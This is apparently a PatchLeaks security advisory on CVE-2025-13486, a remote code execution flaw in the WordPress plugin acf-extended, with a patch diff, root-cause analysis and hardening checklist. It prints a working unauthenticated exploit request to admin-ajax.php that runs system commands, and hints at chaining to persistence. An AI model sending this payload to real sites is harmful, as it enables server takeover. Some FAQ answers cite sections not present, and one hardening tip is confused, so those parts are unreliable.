SECURITY ADVISORY / 01

CVE-2025-13486 Exploit & Vulnerability Analysis

Complete CVE-2025-13486 security advisory with proof of concept (PoC), exploit details, and patch analysis for acf-extended.

acf-extended products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker can execute arbitrary PHP code by posting a malicious form definition to the plugin's form rendering endpoint.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded

action=acfe_form_render&form[render]=system&form[render_args][0]=id

The server executes the supplied callback (system) with the supplied arguments (id), returning command output in the response body. An attacker observing the HTTP response sees the output of id printed directly, confirming code execution. From this primitive, an attacker chains to RCE by calling functions like eval(), passthru(), or WordPress functions like wp_create_user() to establish persistence.

What the Patch Did

Before

}elseif(is_callable($form['render'])){

    ob_start();
        call_user_func_array($form['render'], array($form));
    $html = ob_get_clean();

    // assign new render
    $form['render'] = $html;

}

After

}

The patch removed the entire unsafe callback-execution block. The vulnerable code performed an is_callable() type check on user-supplied form data but then passed the result directly to call_user_func_array() without any further validation. The is_callable() check is a false security boundary—it returns true for any string matching a PHP function name, allowing an attacker to invoke built-in functions like system(), exec(), eval(), or custom functions. The fix eliminates the attack surface entirely by deleting the code path; the form render functionality is now handled by other, properly-guarded mechanisms.

Root Cause

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The $form['render'] parameter originates from user-controlled POST data in the AJAX request. The plugin accepts this data without sanitization or capability checks, passes it through a superficial is_callable() gate (which only verifies the string names a valid function, not whether it is safe to call), and then executes it via call_user_func_array($form['render'], array($form)). The trust boundary crossed is the entry point from the HTTP request into the WordPress AJAX handler—no nonce validation, no role check, and no function whitelist exist to gate which callbacks are permissible.

Why It Works

The load-bearing line of the patch is the deletion of the call_user_func_array() invocation itself. If that line remained—even with additional checks bolted on—the vulnerability persists because the attacker can still pollute the $form['render'] parameter with a callable string. The is_callable() check is not a defence; it is a red herring. An engineer attempting to "fix" this in place might add a whitelist of safe callbacks (if (!in_array($form['render'], $SAFE_CALLBACKS))), or a capability check (current_user_can('manage_options')), or a nonce verify. All of these would raise the bar—but the deepest fix is removal. By deleting the entire callback-execution path, the patch sidesteps the cognitive load of maintaining a safe callback registry and eliminates the risk that a future maintainer will relax the whitelist or forget to validate a new parameter.

Hardening Checklist

  • Audit all call_user_func*(), eval(), create_function(), and assert() calls: Grep the plugin codebase for these functions and verify each call operates only on hardcoded or database-stored function names, never on user input. Use a static analysis tool like PHPSTAN with strict mode to flag callable sinks.

  • Require nonce validation on every AJAX handler: Wrap all add_action('wp_ajax_*') handlers in check_ajax_referer('action_name') and regenerate the nonce freshly on every state-changing form render, stored in a hidden field.

  • Implement a capability whitelist for form rendering: If form definitions must be user-customizable, store allowed render functions in an option or constant and enforce in_array($form['render'], $ALLOWED_RENDERS, true) before any invocation.

  • Use wp_remote_post() or PHP's filter_var() for callback validation: Instead of is_callable(), use a strict regex or an explicit enum of approved function names. For example: preg_match('/^[a-z_][a-z0-9_]*$/i', $callback) && function_exists($callback) still requires additional whitelisting, but it at least prevents common injection vectors.

  • Disable direct AJAX form handling and require form post to REST API: Migrate form submission to the WordPress REST API with full nonce and capability enforcement via register_rest_route(..., ['permission_callback' => fn() => current_user_can('publish_posts')]).

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-13486

Frequently asked questions about CVE-2025-13486

What is CVE-2025-13486?

CVE-2025-13486 is a security vulnerability identified in acf-extended. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-13486?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-13486. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-13486 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting acf-extended. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-13486?

CVE-2025-13486 affects acf-extended. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-13486?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for acf-extended.

What is the CVSS score for CVE-2025-13486?

The severity rating and CVSS scoring for CVE-2025-13486 affecting acf-extended is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.